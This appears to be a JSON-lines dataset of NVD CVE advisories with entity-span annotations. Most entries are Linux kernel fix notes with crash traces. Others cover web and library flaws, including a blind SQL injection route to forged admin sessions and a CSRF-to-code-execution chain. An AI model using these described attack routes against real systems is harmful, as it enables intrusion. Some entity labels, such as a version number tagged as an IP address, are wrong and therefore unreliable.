{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: release svc_expkey/svc_export with rcu_work\n\nThe last reference for `cache_head` can be reduced to zero in `c_show`\nand `e_show`(using `rcu_read_lock` and `rcu_read_unlock`). Consequently,\n`svc_export_put` and `expkey_put` will be invoked, leading to two\nissues:\n\n1. The `svc_export_put` will directly free ex_uuid. However,\n   `e_show`/`c_show` will access `ex_uuid` after `cache_put`, which can\n   trigger a use-after-free issue, shown below.\n\n   ==================================================================\n   BUG: KASAN: slab-use-after-free in svc_export_show+0x362/0x430 [nfsd]\n   Read of size 1 at addr ff11000010fdc120 by task cat/870\n\n   CPU: 1 UID: 0 PID: 870 Comm: cat Not tainted 6.12.0-rc3+ #1\n   Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n   1.16.1-2.fc37 04/01/2014\n   Call Trace:\n    <TASK>\n    dump_stack_lvl+0x53/0x70\n    print_address_description.constprop.0+0x2c/0x3a0\n    print_report+0xb9/0x280\n    kasan_report+0xae/0xe0\n    svc_export_show+0x362/0x430 [nfsd]\n    c_show+0x161/0x390 [sunrpc]\n    seq_read_iter+0x589/0x770\n    seq_read+0x1e5/0x270\n    proc_reg_read+0xe1/0x140\n    vfs_read+0x125/0x530\n    ksys_read+0xc1/0x160\n    do_syscall_64+0x5f/0x170\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n   Allocated by task 830:\n    kasan_save_stack+0x20/0x40\n    kasan_save_track+0x14/0x30\n    __kasan_kmalloc+0x8f/0xa0\n    __kmalloc_node_track_caller_noprof+0x1bc/0x400\n    kmemdup_noprof+0x22/0x50\n    svc_export_parse+0x8a9/0xb80 [nfsd]\n    cache_do_downcall+0x71/0xa0 [sunrpc]\n    cache_write_procfs+0x8e/0xd0 [sunrpc]\n    proc_reg_write+0xe1/0x140\n    vfs_write+0x1a5/0x6d0\n    ksys_write+0xc1/0x160\n    do_syscall_64+0x5f/0x170\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n   Freed by task 868:\n    kasan_save_stack+0x20/0x40\n    kasan_save_track+0x14/0x30\n    kasan_save_free_info+0x3b/0x60\n    __kasan_slab_free+0x37/0x50\n    kfree+0xf3/0x3e0\n    svc_export_put+0x87/0xb0 [nfsd]\n    cache_purge+0x17f/0x1f0 [sunrpc]\n    nfsd_destroy_serv+0x226/0x2d0 [nfsd]\n    nfsd_svc+0x125/0x1e0 [nfsd]\n    write_threads+0x16a/0x2a0 [nfsd]\n    nfsctl_transaction_write+0x74/0xa0 [nfsd]\n    vfs_write+0x1a5/0x6d0\n    ksys_write+0xc1/0x160\n    do_syscall_64+0x5f/0x170\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n2. We cannot sleep while using `rcu_read_lock`/`rcu_read_unlock`.\n   However, `svc_export_put`/`expkey_put` will call path_put, which\n   subsequently triggers a sleeping operation due to the following\n   `dput`.\n\n   =============================\n   WARNING: suspicious RCU usage\n   5.10.0-dirty #141 Not tainted\n   -----------------------------\n   ...\n   Call Trace:\n   dump_stack+0x9a/0xd0\n   ___might_sleep+0x231/0x240\n   dput+0x39/0x600\n   path_put+0x1b/0x30\n   svc_export_put+0x17/0x80\n   e_show+0x1c9/0x200\n   seq_read_iter+0x63f/0x7c0\n   seq_read+0x226/0x2d0\n   vfs_read+0x113/0x2c0\n   ksys_read+0xc9/0x170\n   do_syscall_64+0x33/0x40\n   entry_SYSCALL_64_after_hwframe+0x67/0xd1\n\nFix these issues by using `rcu_work` to help release\n`svc_expkey`/`svc_export`. This approach allows for an asynchronous\ncontext to invoke `path_put` and also facilitates the freeing of\n`uuid/exp/key` after an RCU grace period.", "spans": {"FILEPATH: /01/2014": [[869, 877]], "FILEPATH: /exp/key": [[3203, 3211]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[805, 809]], "VULNERABILITY: use-after-free": [[485, 499], [611, 625]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53216"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mm: Ensure input to pfn_to_kaddr() is treated as a 64-bit type\n\nOn 64-bit platforms, the pfn_to_kaddr() macro requires that the input\nvalue is 64 bits in order to ensure that valid address bits don't get\nlost when shifting that input by PAGE_SHIFT to calculate the physical\naddress to provide a virtual address for.\n\nOne such example is in pvalidate_pages() (used by SEV-SNP guests), where\nthe GFN in the struct used for page-state change requests is a 40-bit\nbit-field, so attempts to pass this GFN field directly into\npfn_to_kaddr() ends up causing guest crashes when dealing with addresses\nabove the 1TB range due to the above.\n\nFix this issue with SEV-SNP guests, as well as any similar cases that\nmight cause issues in current/future code, by using an inline function,\ninstead of a macro, so that the input is implicitly cast to the\nexpected 64-bit input type prior to performing the shift operation.\n\nWhile it might be argued that the issue is on the caller side, other\narchs/macros have taken similar approaches to deal with instances like\nthis, such as ARM explicitly casting the input to phys_addr_t:\n\n  e48866647b48 (\"ARM: 8396/1: use phys_addr_t in pfn_to_kaddr()\")\n\nA C inline function is even better though.\n\n[ mingo: Refined the changelog some more & added __always_inline. ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52659"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nefivarfs: force RO when remounting if SetVariable is not supported\n\nIf SetVariable at runtime is not supported by the firmware we never assign\na callback for that function. At the same time mount the efivarfs as\nRO so no one can call that.  However, we never check the permission flags\nwhen someone remounts the filesystem as RW. As a result this leads to a\ncrash looking like this:\n\n$ mount -o remount,rw /sys/firmware/efi/efivars\n$ efi-updatevar -f PK.auth PK\n\n[  303.279166] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[  303.280482] Mem abort info:\n[  303.280854]   ESR = 0x0000000086000004\n[  303.281338]   EC = 0x21: IABT (current EL), IL = 32 bits\n[  303.282016]   SET = 0, FnV = 0\n[  303.282414]   EA = 0, S1PTW = 0\n[  303.282821]   FSC = 0x04: level 0 translation fault\n[  303.283771] user pgtable: 4k pages, 48-bit VAs, pgdp=000000004258c000\n[  303.284913] [0000000000000000] pgd=0000000000000000, p4d=0000000000000000\n[  303.286076] Internal error: Oops: 0000000086000004 [#1] PREEMPT SMP\n[  303.286936] Modules linked in: qrtr tpm_tis tpm_tis_core crct10dif_ce arm_smccc_trng rng_core drm fuse ip_tables x_tables ipv6\n[  303.288586] CPU: 1 PID: 755 Comm: efi-updatevar Not tainted 6.3.0-rc1-00108-gc7d0c4695c68 #1\n[  303.289748] Hardware name: Unknown Unknown Product/Unknown Product, BIOS 2023.04-00627-g88336918701d 04/01/2023\n[  303.291150] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  303.292123] pc : 0x0\n[  303.292443] lr : efivar_set_variable_locked+0x74/0xec\n[  303.293156] sp : ffff800008673c10\n[  303.293619] x29: ffff800008673c10 x28: ffff0000037e8000 x27: 0000000000000000\n[  303.294592] x26: 0000000000000800 x25: ffff000002467400 x24: 0000000000000027\n[  303.295572] x23: ffffd49ea9832000 x22: ffff0000020c9800 x21: ffff000002467000\n[  303.296566] x20: 0000000000000001 x19: 00000000000007fc x18: 0000000000000000\n[  303.297531] x17: 0000000000000000 x16: 0000000000000000 x15: 0000aaaac807ab54\n[  303.298495] x14: ed37489f673633c0 x13: 71c45c606de13f80 x12: 47464259e219acf4\n[  303.299453] x11: ffff000002af7b01 x10: 0000000000000003 x9 : 0000000000000002\n[  303.300431] x8 : 0000000000000010 x7 : ffffd49ea8973230 x6 : 0000000000a85201\n[  303.301412] x5 : 0000000000000000 x4 : ffff0000020c9800 x3 : 00000000000007fc\n[  303.302370] x2 : 0000000000000027 x1 : ffff000002467400 x0 : ffff000002467000\n[  303.303341] Call trace:\n[  303.303679]  0x0\n[  303.303938]  efivar_entry_set_get_size+0x98/0x16c\n[  303.304585]  efivarfs_file_write+0xd0/0x1a4\n[  303.305148]  vfs_write+0xc4/0x2e4\n[  303.305601]  ksys_write+0x70/0x104\n[  303.306073]  __arm64_sys_write+0x1c/0x28\n[  303.306622]  invoke_syscall+0x48/0x114\n[  303.307156]  el0_svc_common.constprop.0+0x44/0xec\n[  303.307803]  do_el0_svc+0x38/0x98\n[  303.308268]  el0_svc+0x2c/0x84\n[  303.308702]  el0t_64_sync_handler+0xf4/0x120\n[  303.309293]  el0t_64_sync+0x190/0x194\n[  303.309794] Code: ???????? ???????? ???????? ???????? (????????)\n[  303.310612] ---[ end trace 0000000000000000 ]---\n\nFix this by adding a .reconfigure() function to the fs operations which\nwe can use to check the requested flags and deny anything that's not RO\nif the firmware doesn't implement SetVariable at runtime.", "spans": {"FILEPATH: /sys/firmware/efi/efivars": [[475, 500]], "FILEPATH: /01/2023": [[1442, 1450]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[571, 595]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52463"}}
{"text": "A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), Desigo PXC00-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC00-U (All versions >= V2.3 < V6.30.37), Desigo PXC001-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC100-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC12-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC128-U (All versions >= V2.3 < V6.30.37), Desigo PXC200-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC22-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC22.1-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC36.1-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC50-E.D (All versions >= V2.3 < V6.30.37), Desigo PXC64-U (All versions >= V2.3 < V6.30.37), Desigo PXM20-E (All versions >= V2.3 < V6.30.37), Nucleus NET for Nucleus PLUS V1 (All versions < V5.2a), Nucleus NET for Nucleus PLUS V2 (All versions < V5.4), Nucleus ReadyStart V3 V2012 (All versions < V2012.08.1), Nucleus ReadyStart V3 V2017 (All versions < V2017.02.4), Nucleus Source Code (All versions including affected FTP server), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The FTP server does not properly release memory resources that were reserved for incomplete connection attempts by FTP clients. This could allow a remote attacker to generate a denial of service condition on devices that incorporate a vulnerable version of the FTP server.", "spans": {"VULNERABILITY: denial of service": [[1687, 1704]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-38371"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bonding: fix use-after-free after 802.3ad slave unbind\n\ncommit 0622cab0341c (\"bonding: fix 802.3ad aggregator reselection\"),\nresolve case, when there is several aggregation groups in the same bond.\nbond_3ad_unbind_slave will invalidate (clear) aggregator when\n__agg_active_ports return zero. So, ad_clear_agg can be executed even, when\nnum_of_ports!=0. Than bond_3ad_unbind_slave can be executed again for,\npreviously cleared aggregator. NOTE: at this time bond_3ad_unbind_slave\nwill not update slave ports list, because lag_ports==NULL. So, here we\ngot slave ports, pointing to freed aggregator memory.\n\nFix with checking actual number of ports in group (as was before\ncommit 0622cab0341c (\"bonding: fix 802.3ad aggregator reselection\") ),\nbefore ad_clear_agg().\n\nThe KASAN logs are as follows:\n\n[  767.617392] ==================================================================\n[  767.630776] BUG: KASAN: use-after-free in bond_3ad_state_machine_handler+0x13dc/0x1470\n[  767.638764] Read of size 2 at addr ffff00011ba9d430 by task kworker/u8:7/767\n[  767.647361] CPU: 3 PID: 767 Comm: kworker/u8:7 Tainted: G           O 5.15.11 #15\n[  767.655329] Hardware name: DNI AmazonGo1 A7040 board (DT)\n[  767.660760] Workqueue: lacp_1 bond_3ad_state_machine_handler\n[  767.666468] Call trace:\n[  767.668930]  dump_backtrace+0x0/0x2d0\n[  767.672625]  show_stack+0x24/0x30\n[  767.675965]  dump_stack_lvl+0x68/0x84\n[  767.679659]  print_address_description.constprop.0+0x74/0x2b8\n[  767.685451]  kasan_report+0x1f0/0x260\n[  767.689148]  __asan_load2+0x94/0xd0\n[  767.692667]  bond_3ad_state_machine_handler+0x13dc/0x1470", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[87, 101], [980, 994]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49667"}}
{"text": "SQLFluff is a SQL linter. Prior to version 2.1.2, in environments where untrusted users have access to the config files, there is a potential security vulnerability where those users could use the `library_path` config value to allow arbitrary python code to be executed via macros. For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.\n\nThe 2.1.2 release offers the ability for the `library_path` argument to be overwritten on the command line by using the `--library-path` option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary. Unless `library_path` is explicitly required, SQLFluff maintainers recommend using the option `--library-path none` when invoking SQLFluff which will disable the `library-path` option entirely regardless of the options set in the configuration file or via inline config directives. As a workaround, limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provides a similar effect and does not require upgrade.", "spans": {"SYSTEM: Python": [[1013, 1019]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-36830"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/PM: Drain runtime-idle callbacks before driver removal\n\nA race condition between the .runtime_idle() callback and the .remove()\ncallback in the rtsx_pcr PCI driver leads to a kernel crash due to an\nunhandled page fault [1].\n\nThe problem is that rtsx_pci_runtime_idle() is not expected to be running\nafter pm_runtime_get_sync() has been called, but the latter doesn't really\nguarantee that.  It only guarantees that the suspend and resume callbacks\nwill not be running when it returns.\n\nHowever, if a .runtime_idle() callback is already running when\npm_runtime_get_sync() is called, the latter will notice that the runtime PM\nstatus of the device is RPM_ACTIVE and it will return right away without\nwaiting for the former to complete.  In fact, it cannot wait for\n.runtime_idle() to complete because it may be called from that callback (it\narguably does not make much sense to do that, but it is not strictly\nprohibited).\n\nThus in general, whoever is providing a .runtime_idle() callback needs\nto protect it from running in parallel with whatever code runs after\npm_runtime_get_sync().  [Note that .runtime_idle() will not start after\npm_runtime_get_sync() has returned, but it may continue running then if it\nhas started earlier.]\n\nOne way to address that race condition is to call pm_runtime_barrier()\nafter pm_runtime_get_sync() (not before it, because a nonzero value of the\nruntime PM usage counter is necessary to prevent runtime PM callbacks from\nbeing invoked) to wait for the .runtime_idle() callback to complete should\nit be running at that point.  A suitable place for doing that is in\npci_device_remove() which calls pm_runtime_get_sync() before removing the\ndriver, so it may as well call pm_runtime_barrier() subsequently, which\nwill prevent the race in question from occurring, not just in the rtsx_pcr\ndriver, but in any PCI drivers providing .runtime_idle() callbacks.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[131, 145], [1329, 1343]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35809"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmips: bmips: BCM6358: disable RAC flush for TP1\n\nRAC flush causes kernel panics on BCM6358 with EHCI/OHCI when booting from TP1:\n[    3.881739] usb 1-1: new high-speed USB device number 2 using ehci-platform\n[    3.895011] Reserved instruction in kernel code[#1]:\n[    3.900113] CPU: 0 PID: 1 Comm: init Not tainted 5.10.16 #0\n[    3.905829] $ 0   : 00000000 10008700 00000000 77d94060\n[    3.911238] $ 4   : 7fd1f088 00000000 81431cac 81431ca0\n[    3.916641] $ 8   : 00000000 ffffefff 8075cd34 00000000\n[    3.922043] $12   : 806f8d40 f3e812b7 00000000 000d9aaa\n[    3.927446] $16   : 7fd1f068 7fd1f080 7ff559b8 81428470\n[    3.932848] $20   : 00000000 00000000 55590000 77d70000\n[    3.938251] $24   : 00000018 00000010\n[    3.943655] $28   : 81430000 81431e60 81431f28 800157fc\n[    3.949058] Hi    : 00000000\n[    3.952013] Lo    : 00000000\n[    3.955019] epc   : 80015808 setup_sigcontext+0x54/0x24c\n[    3.960464] ra    : 800157fc setup_sigcontext+0x48/0x24c\n[    3.965913] Status: 10008703\tKERNEL EXL IE\n[    3.970216] Cause : 00800028 (ExcCode 0a)\n[    3.974340] PrId  : 0002a010 (Broadcom BMIPS4350)\n[    3.979170] Modules linked in: ohci_platform ohci_hcd fsl_mph_dr_of ehci_platform ehci_fsl ehci_hcd gpio_button_hotplug usbcore nls_base usb_common\n[    3.992907] Process init (pid: 1, threadinfo=(ptrval), task=(ptrval), tls=77e22ec8)\n[    4.000776] Stack : 81431ef4 7fd1f080 81431f28 81428470 7fd1f068 81431edc 7ff559b8 81428470\n[    4.009467]         81431f28 7fd1f080 55590000 77d70000 77d5498c 80015c70 806f0000 8063ae74\n[    4.018149]         08100002 81431f28 0000000a 08100002 81431f28 0000000a 77d6b418 00000003\n[    4.026831]         ffffffff 80016414 80080734 81431ecc 81431ecc 00000001 00000000 04000000\n[    4.035512]         77d54874 00000000 00000000 00000000 00000000 00000012 00000002 00000000\n[    4.044196]         ...\n[    4.046706] Call Trace:\n[    4.049238] [<80015808>] setup_sigcontext+0x54/0x24c\n[    4.054356] [<80015c70>] setup_frame+0xdc/0x124\n[    4.059015] [<80016414>] do_notify_resume+0x1dc/0x288\n[    4.064207] [<80011b50>] work_notifysig+0x10/0x18\n[    4.069036]\n[    4.070538] Code: 8fc300b4  00001025  26240008 <ac820000> ac830004  3c048063  0c0228aa  24846a00  26240010\n[    4.080686]\n[    4.082517] ---[ end trace 22a8edb41f5f983b ]---\n[    4.087374] Kernel panic - not syncing: Fatal exception\n[    4.092753] Rebooting in 1 seconds..\n\nBecause the bootloader (CFE) is not initializing the Read-ahead cache properly\non the second thread (TP1). Since the RAC was not initialized properly, we\nshould avoid flushing it at the risk of corrupting the instruction stream as\nseen in the trace above.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Broadcom": [[1158, 1166]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53986"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/dp: Fix OOB read when handling Post Cursor2 register\n\nThe link_status array was not large enough to read the Adjust Request\nPost Cursor2 register, so remove the common helper function to avoid\nan OOB read, found with a -Warray-bounds build:\n\ndrivers/gpu/drm/drm_dp_helper.c: In function 'drm_dp_get_adjust_request_post_cursor':\ndrivers/gpu/drm/drm_dp_helper.c:59:27: error: array subscript 10 is outside array bounds of 'const u8[6]' {aka 'const unsigned char[6]'} [-Werror=array-bounds]\n   59 |         return link_status[r - DP_LANE0_1_STATUS];\n      |                ~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~\ndrivers/gpu/drm/drm_dp_helper.c:147:51: note: while referencing 'link_status'\n  147 | u8 drm_dp_get_adjust_request_post_cursor(const u8 link_status[DP_LINK_STATUS_SIZE],\n      |                                          ~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReplace the only user of the helper with an open-coded fetch and decode,\nsimilar to drivers/gpu/drm/amd/display/dc/core/dc_link_dp.c.", "spans": {"FILEPATH: /gpu/drm/drm_dp_helper.c": [[322, 346], [408, 432], [685, 709]], "FILEPATH: /gpu/drm/amd/display/dc/core/dc_link_dp.c.": [[1031, 1073]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49218"}}
{"text": "Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: Advanced UI). The supported version that is affected is 12.2.1.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.0 Base Score 7.4 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).", "spans": {"IP_ADDRESS: 12.2.1.3": [[148, 156]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [268, 274], [409, 415], [605, 611]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2739"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: Fix system crash due to lack of free space in LFS\n\nWhen f2fs tries to checkpoint during foreground gc in LFS mode, system\ncrash occurs due to lack of free space if the amount of dirty node and\ndentry pages generated by data migration exceeds free space.\nThe reproduction sequence is as follows.\n\n - 20GiB capacity block device (null_blk)\n - format and mount with LFS mode\n - create a file and write 20,000MiB\n - 4k random write on full range of the file\n\n RIP: 0010:new_curseg+0x48a/0x510 [f2fs]\n Code: 55 e7 f5 89 c0 48 0f af c3 48 8b 5d c0 48 c1 e8 20 83 c0 01 89 43 6c 48 83 c4 28 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc <0f> 0b f0 41 80 4f 48 04 45 85 f6 0f 84 ba fd ff ff e9 ef fe ff ff\n RSP: 0018:ffff977bc397b218 EFLAGS: 00010246\n RAX: 00000000000027b9 RBX: 0000000000000000 RCX: 00000000000027c0\n RDX: 0000000000000000 RSI: 00000000000027b9 RDI: ffff8c25ab4e74f8\n RBP: ffff977bc397b268 R08: 00000000000027b9 R09: ffff8c29e4a34b40\n R10: 0000000000000001 R11: ffff977bc397b0d8 R12: 0000000000000000\n R13: ffff8c25b4dd81a0 R14: 0000000000000000 R15: ffff8c2f667f9000\n FS: 0000000000000000(0000) GS:ffff8c344ec80000(0000) knlGS:0000000000000000\n CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 000000c00055d000 CR3: 0000000e30810003 CR4: 00000000003706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n <TASK>\n allocate_segment_by_default+0x9c/0x110 [f2fs]\n f2fs_allocate_data_block+0x243/0xa30 [f2fs]\n ? __mod_lruvec_page_state+0xa0/0x150\n do_write_page+0x80/0x160 [f2fs]\n f2fs_do_write_node_page+0x32/0x50 [f2fs]\n __write_node_page+0x339/0x730 [f2fs]\n f2fs_sync_node_pages+0x5a6/0x780 [f2fs]\n block_operations+0x257/0x340 [f2fs]\n f2fs_write_checkpoint+0x102/0x1050 [f2fs]\n f2fs_gc+0x27c/0x630 [f2fs]\n ? folio_mark_dirty+0x36/0x70\n f2fs_balance_fs+0x16f/0x180 [f2fs]\n\nThis patch adds checking whether free sections are enough before checkpoint\nduring gc.\n\n[Jaegeuk Kim: code clean-up]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54151"}}
{"text": "The SetFeatureEnabled.jspa resource in Jira Server and Data Center before version 8.5.13, from version 8.6.0 before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to enable and disable Jira Software configuration via a cross-site request forgery (CSRF) vulnerability.", "spans": {"VULNERABILITY: cross-site request forgery": [[268, 294]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-26071"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service. This is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70) unconditionally dereferences a pointer to an iterator to a vector without checking that the vector has elements. We have patched the issue in GitHub commit d6b57f461b39fd1aa8c1b870f1b974aac3554955. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70": [[327, 474]], "HASH: d6b57f461b39fd1aa8c1b870f1b974aac3554955": [[632, 672]], "ORGANIZATION: GitHub": [[618, 624]], "VULNERABILITY: null pointer dereference": [[150, 174]], "VULNERABILITY: denial of service": [[210, 227]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37689"}}
{"text": "Vulnerability in the Oracle iSupport product of Oracle E-Business Suite (component: User Responsibilities). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iSupport. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iSupport, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iSupport accessible data as well as unauthorized update, insert or delete access to some of Oracle iSupport accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [48, 54], [291, 297], [425, 431], [614, 620], [713, 719]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2083"}}
{"text": "A vulnerability classified as problematic has been found in OpenMRS Admin UI Module up to 1.4.x. Affected is the function sendErrorMessage of the file omod/src/main/java/org/openmrs/module/adminui/page/controller/systemadmin/accounts/AccountPageController.java of the component Account Setup Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. Upgrading to version 1.5.0 is able to address this issue. The name of the patch is 702fbfdac7c4418f23bb5f6452482b4a88020061. It is recommended to upgrade the affected component. VDB-216918 is the identifier assigned to this vulnerability.", "spans": {"HASH: 702fbfdac7c4418f23bb5f6452482b4a88020061": [[478, 518]], "FILEPATH: /src/main/java/org/openmrs/module/adminui/page/controller/systemadmin/accounts/AccountPageController.java": [[155, 260]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36636"}}
{"text": "In Tensorflow before version 2.3.1, the `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Thus, the code sets up conditions to cause a heap buffer overflow. A `BatchedMap` is equivalent to a vector where each element is a hashmap. However, if the first element of `splits_values` is not 0, `batch_idx` will never be 1, hence there will be no hashmap at index 0 in `per_batch_counts`. Trying to access that in the user code results in a segmentation fault. The issue is patched in commit 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and is released in TensorFlow version 2.3.1.", "spans": {"HASH: 3cbb917b4714766030b28eba9fb41bb97ce9ee02": [[680, 720]], "VULNERABILITY: buffer overflow": [[333, 348]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15200"}}
{"text": "Craft Commerce is an ecommerce platform for Craft CMS. In versions 5.0.0 through 5.5.4, an SQL injection vulnerability exists where the ProductQuery::hasVariant and VariantQuery::hasProduct properties bypass the input sanitization blocklist added to ElementIndexesController in a prior security fix (GHSA-2453-mppf-46cj). The blocklist only strips top-level Yii2 Query properties such as where and orderBy, but hasVariant and hasProduct pass through untouched and internally call Craft::configure() on a subquery without sanitization, re-introducing SQL injection. Any authenticated control panel user can exploit this via boolean-based blind SQL injection to extract arbitrary database contents, including security keys that enable forging admin sessions for privilege escalation. This issue has been fixed in version 5.6.0.", "spans": {"VULNERABILITY: privilege escalation": [[760, 780]], "VULNERABILITY: SQL injection": [[91, 104], [550, 563], [643, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32272"}}
{"text": "Helm is a tool for managing Charts. Charts are packages of pre-configured Kubernetes resources. Fuzz testing, provided by the CNCF, identified input to functions in the _strvals_ package that can cause an out of memory panic. The _strvals_ package contains a parser that turns strings in to Go structures. The _strvals_ package converts these strings into structures Go can work with. Some string inputs can cause array data structures to be created causing an out of memory panic. Applications that use the _strvals_ package in the Helm SDK to parse user supplied input can suffer a Denial of Service when that input causes a panic that cannot be recovered from. The Helm Client will panic with input to `--set`, `--set-string`, and other value setting flags that causes an out of memory panic. Helm is not a long running service so the panic will not affect future uses of the Helm client. This issue has been resolved in 3.9.4. SDK users can validate strings supplied by users won't create large arrays causing significant memory usage before passing them to the _strvals_ functions.", "spans": {"SYSTEM: Kubernetes": [[74, 84]], "VULNERABILITY: Denial of Service": [[584, 601]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36055"}}
{"text": "CKEditor Integration UI adds support for editing wiki pages using CKEditor. Prior to versions 1.64.3,t he `CKEditor.HTMLConverter` document lacked a protection against Cross-Site Request Forgery (CSRF), allowing to execute macros with the rights of the current user. If a privileged user with programming rights was tricked into executing a GET request to this document with certain parameters (e.g., via an image with a corresponding URL embedded in a comment or via a redirect), this would allow arbitrary remote code execution and the attacker could gain rights, access private information or impact the availability of the wiki. The issue has been patched in the CKEditor Integration version 1.64.3. This has also been patched in the version of the CKEditor integration that is bundled starting with XWiki 14.6 RC1. There are no known workarounds for this other than upgrading the CKEditor integration to a fixed version.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[168, 194]], "VULNERABILITY: remote code execution": [[508, 529]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22457"}}
